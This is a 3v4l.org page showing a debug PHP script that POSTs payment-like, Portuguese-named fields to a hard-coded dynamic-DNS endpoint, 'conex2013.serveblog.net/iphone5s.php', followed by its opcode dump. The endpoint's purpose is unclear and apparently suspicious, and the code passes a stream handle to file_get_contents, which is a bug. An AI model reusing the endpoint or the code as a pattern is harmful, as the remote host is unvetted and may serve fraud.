3v4l.org

run code in 300+ PHP versions simultaneously
<?php $linkphp = 'http://conex2013.serveblog.net/iphone5s.php'; $rotina ="01"; $idcliente =""; $casa ="TODOS"; $valor =""; $data =""; $outro =""; $id =""; $bolausado =""; $compr =""; /* $rotina =$_POST["rotina"]; $idcliente =$_POST["idcliente"]; $casa =$_POST["casa"]; $valor =$_POST["valor"]; $data =$_POST["data"]; $outro =$_POST["outro"]; $id =$_POST["id"]; $bolausado =$_POST["bolausado"]; $compr =$_POST["compr"]; */ $dadospost = array( 'rotina' => $rotina, 'idcliente' => $idcliente, 'casa' => $casa, 'valor' => $valor, 'data' => $data, 'outro' => $outro, 'id' => $id, 'bolausado' => $bolausado, 'compr' => $compr); echo 'passsou 01 '; $respuesta = Envia_Post($linkphp, $dadospost); echo $respuesta; function Envia_Post($URL, $dados, $optional_headers = null) { $erro = false; $params = array('http' => array('method' => 'POST','action' => $URL,'content' => cr_post( $dados ),)); echo 'passsou 02 '; if ($optional_headers !== null) { $params['http']['header'] = $optional_headers; echo 'passsou 03 '; } $ctx = stream_context_create($params); echo 'passsou 04 '; $fp = @fopen($URL, 'rb', false, $ctx); echo 'passsou 05 '; if (!$fp) { $erro = true; echo 'passsou 06 '; } echo 'passsou 06-1 '; //$response = @stream_get_contents($fp); echo 'passsou 07'; $response = @file_get_contents($fp); echo 'passsou 07 '; if ($response == false) { $erro = true; echo 'passsou 08 '; } if ($erro) { //return ''; return $response; echo 'passsou 09 '; } else { echo 'passsou 10'; if (strpos($response, '.php')) //Evitar Mostrar Caminho php Principal { //return ''; return $response; echo 'passsou 11 '; } else { return $response; echo 'passsou 12 '; } } } function cr_post($a,$b='',$c=0) { if (!is_array($a)) return false; foreach ((array)$a as $k=>$v) { if ($c) { if( is_numeric($k) ) $k=$b."[]"; else $k=$b."[$k]"; } else { if (is_int($k)) $k=$b.$k; } if (is_array($v)||is_object($v)) { $r[]=cr_post($v,$k,1); continue; } $r[]=urlencode($k)."=".urlencode($v); } return implode("&",$r); } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Oa5HT
function name:  (null)
number of ops:  28
compiled vars:  !0 = $linkphp, !1 = $rotina, !2 = $idcliente, !3 = $casa, !4 = $valor, !5 = $data, !6 = $outro, !7 = $id, !8 = $bolausado, !9 = $compr, !10 = $dadospost, !11 = $respuesta
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2Fconex2013.serveblog.net%2Fiphone5s.php'
    5     1        ASSIGN                                                   !1, '01'
    6     2        ASSIGN                                                   !2, ''
    7     3        ASSIGN                                                   !3, 'TODOS'
    8     4        ASSIGN                                                   !4, ''
    9     5        ASSIGN                                                   !5, ''
   10     6        ASSIGN                                                   !6, ''
   11     7        ASSIGN                                                   !7, ''
   12     8        ASSIGN                                                   !8, ''
   13     9        ASSIGN                                                   !9, ''
   28    10        INIT_ARRAY                                       ~22     !1, 'rotina'
   29    11        ADD_ARRAY_ELEMENT                                ~22     !2, 'idcliente'
   30    12        ADD_ARRAY_ELEMENT                                ~22     !3, 'casa'
   31    13        ADD_ARRAY_ELEMENT                                ~22     !4, 'valor'
   32    14        ADD_ARRAY_ELEMENT                                ~22     !5, 'data'
   33    15        ADD_ARRAY_ELEMENT                                ~22     !6, 'outro'
   34    16        ADD_ARRAY_ELEMENT                                ~22     !7, 'id'
   35    17        ADD_ARRAY_ELEMENT                                ~22     !8, 'bolausado'
   36    18        ADD_ARRAY_ELEMENT                                ~22     !9, 'compr'
   27    19        ASSIGN                                                   !10, ~22
   38    20        ECHO                                                     'passsou+01+'
   40    21        INIT_FCALL_BY_NAME                                       'Envia_Post'
         22        SEND_VAR_EX                                              !0
         23        SEND_VAR_EX                                              !10
         24        DO_FCALL                                      0  $24     
         25        ASSIGN                                                   !11, $24
   41    26        ECHO                                                     !11
  108    27      > RETURN                                                   1

Function envia_post:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 19
Branch analysis from position: 15
2 jumps found. (Code = 43) Position 1 = 36, Position 2 = 38
Branch analysis from position: 36
2 jumps found. (Code = 43) Position 1 = 48, Position 2 = 50
Branch analysis from position: 48
2 jumps found. (Code = 43) Position 1 = 51, Position 2 = 54
Branch analysis from position: 51
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 54
2 jumps found. (Code = 43) Position 1 = 60, Position 2 = 63
Branch analysis from position: 60
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 63
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 50
Branch analysis from position: 38
Branch analysis from position: 19
filename:       /in/Oa5HT
function name:  Envia_Post
number of ops:  66
compiled vars:  !0 = $URL, !1 = $dados, !2 = $optional_headers, !3 = $erro, !4 = $params, !5 = $ctx, !6 = $fp, !7 = $response
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   43     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV_INIT                                        !2      null
   45     3        ASSIGN                                                   !3, <false>
   46     4        INIT_ARRAY                                       ~9      'POST', 'method'
          5        ADD_ARRAY_ELEMENT                                ~9      !0, 'action'
          6        INIT_FCALL_BY_NAME                                       'cr_post'
          7        SEND_VAR_EX                                              !1
          8        DO_FCALL                                      0  $10     
          9        ADD_ARRAY_ELEMENT                                ~9      $10, 'content'
         10        INIT_ARRAY                                       ~11     ~9, 'http'
         11        ASSIGN                                                   !4, ~11
         12        ECHO                                                     'passsou+02+'
   47    13        TYPE_CHECK                                  1020          !2
         14      > JMPZ                                                     ~13, ->19
   49    15    >   FETCH_DIM_W                                      $14     !4, 'http'
         16        ASSIGN_DIM                                               $14, 'header'
         17        OP_DATA                                                  !2
         18        ECHO                                                     'passsou+03+'
   51    19    >   INIT_FCALL                                               'stream_context_create'
         20        SEND_VAR                                                 !4
         21        DO_ICALL                                         $16     
         22        ASSIGN                                                   !5, $16
         23        ECHO                                                     'passsou+04+'
   52    24        BEGIN_SILENCE                                    ~18     
         25        INIT_FCALL                                               'fopen'
         26        SEND_VAR                                                 !0
         27        SEND_VAL                                                 'rb'
         28        SEND_VAL                                                 <false>
         29        SEND_VAR                                                 !5
         30        DO_ICALL                                         $19     
         31        END_SILENCE                                              ~18
         32        ASSIGN                                                   !6, $19
         33        ECHO                                                     'passsou+05+'
   53    34        BOOL_NOT                                         ~21     !6
         35      > JMPZ                                                     ~21, ->38
   55    36    >   ASSIGN                                                   !3, <true>
         37        ECHO                                                     'passsou+06+'
   56    38    >   ECHO                                                     'passsou+06-1+'
   58    39        BEGIN_SILENCE                                    ~23     
         40        INIT_FCALL                                               'file_get_contents'
         41        SEND_VAR                                                 !6
         42        DO_ICALL                                         $24     
         43        END_SILENCE                                              ~23
         44        ASSIGN                                                   !7, $24
         45        ECHO                                                     'passsou+07+'
   59    46        BOOL_NOT                                         ~26     !7
         47      > JMPZ                                                     ~26, ->50
   61    48    >   ASSIGN                                                   !3, <true>
         49        ECHO                                                     'passsou+08+'
   63    50    > > JMPZ                                                     !3, ->54
   66    51    > > RETURN                                                   !7
         52*       ECHO                                                     'passsou+09+'
         53*       JMP                                                      ->65
   69    54    >   ECHO                                                     'passsou+10'
   70    55        INIT_FCALL                                               'strpos'
         56        SEND_VAR                                                 !7
         57        SEND_VAL                                                 '.php'
         58        DO_ICALL                                         $28     
         59      > JMPZ                                                     $28, ->63
   73    60    > > RETURN                                                   !7
         61*       ECHO                                                     'passsou+11+'
         62*       JMP                                                      ->65
   77    63    > > RETURN                                                   !7
         64*       ECHO                                                     'passsou+12+'
   80    65*     > RETURN                                                   null

End of function envia_post

Function cr_post:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 77) Position 1 = 9, Position 2 = 53
Branch analysis from position: 9
2 jumps found. (Code = 78) Position 1 = 10, Position 2 = 53
Branch analysis from position: 10
2 jumps found. (Code = 43) Position 1 = 12, Position 2 = 25
Branch analysis from position: 12
2 jumps found. (Code = 43) Position 1 = 16, Position 2 = 19
Branch analysis from position: 16
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 47) Position 1 = 31, Position 2 = 33
Branch analysis from position: 31
2 jumps found. (Code = 43) Position 1 = 34, Position 2 = 42
Branch analysis from position: 34
1 jumps found. (Code = 42) Position 1 = 9
Branch analysis from position: 9
Branch analysis from position: 42
1 jumps found. (Code = 42) Position 1 = 9
Branch analysis from position: 9
Branch analysis from position: 33
Branch analysis from position: 19
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
Branch analysis from position: 25
2 jumps found. (Code = 43) Position 1 = 27, Position 2 = 29
Branch analysis from position: 27
2 jumps found. (Code = 47) Position 1 = 31, Position 2 = 33
Branch analysis from position: 31
Branch analysis from position: 33
Branch analysis from position: 29
Branch analysis from position: 53
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 53
filename:       /in/Oa5HT
function name:  cr_post
number of ops:  60
compiled vars:  !0 = $a, !1 = $b, !2 = $c, !3 = $v, !4 = $k, !5 = $r
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   82     0  E >   RECV                                             !0      
          1        RECV_INIT                                        !1      ''
          2        RECV_INIT                                        !2      0
   84     3        TYPE_CHECK                                  128  ~6      !0
          4        BOOL_NOT                                         ~7      ~6
          5      > JMPZ                                                     ~7, ->7
          6    > > RETURN                                                   <false>
   85     7    >   CAST                                          7  ~8      !0
          8      > FE_RESET_R                                       $9      ~8, ->53
          9    > > FE_FETCH_R                                       ~10     $9, !3, ->53
         10    >   ASSIGN                                                   !4, ~10
   87    11      > JMPZ                                                     !2, ->25
   89    12    >   INIT_FCALL                                               'is_numeric'
         13        SEND_VAR                                                 !4
         14        DO_ICALL                                         $12     
         15      > JMPZ                                                     $12, ->19
   90    16    >   CONCAT                                           ~13     !1, '%5B%5D'
         17        ASSIGN                                                   !4, ~13
         18      > JMP                                                      ->24
   92    19    >   ROPE_INIT                                     3  ~16     '%5B'
         20        ROPE_ADD                                      1  ~16     ~16, !4
         21        ROPE_END                                      2  ~15     ~16, '%5D'
         22        CONCAT                                           ~18     !1, ~15
         23        ASSIGN                                                   !4, ~18
         24    > > JMP                                                      ->29
   95    25    >   TYPE_CHECK                                   16          !4
         26      > JMPZ                                                     ~20, ->29
   96    27    >   CONCAT                                           ~21     !1, !4
         28        ASSIGN                                                   !4, ~21
   99    29    >   TYPE_CHECK                                  128  ~23     !3
         30      > JMPNZ_EX                                         ~23     ~23, ->33
         31    >   TYPE_CHECK                                  256  ~24     !3
         32        BOOL                                             ~23     ~24
         33    > > JMPZ                                                     ~23, ->42
  101    34    >   INIT_FCALL_BY_NAME                                       'cr_post'
         35        SEND_VAR_EX                                              !3
         36        SEND_VAR_EX                                              !4
         37        SEND_VAL_EX                                              1
         38        DO_FCALL                                      0  $26     
         39        ASSIGN_DIM                                               !5
         40        OP_DATA                                                  $26
  102    41      > JMP                                                      ->9
  104    42    >   INIT_FCALL                                               'urlencode'
         43        SEND_VAR                                                 !4
         44        DO_ICALL                                         $28     
         45        CONCAT                                           ~29     $28, '%3D'
         46        INIT_FCALL                                               'urlencode'
         47        SEND_VAR                                                 !3
         48        DO_ICALL                                         $30     
         49        CONCAT                                           ~31     ~29, $30
         50        ASSIGN_DIM                                               !5
         51        OP_DATA                                                  ~31
   85    52      > JMP                                                      ->9
         53    >   FE_FREE                                                  $9
  106    54        INIT_FCALL                                               'implode'
         55        SEND_VAL                                                 '%26'
         56        SEND_VAR                                                 !5
         57        DO_ICALL                                         $32     
         58      > RETURN                                                   $32
  107    59*     > RETURN                                                   null

End of function cr_post

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.98 ms | 1412 KiB | 27 Q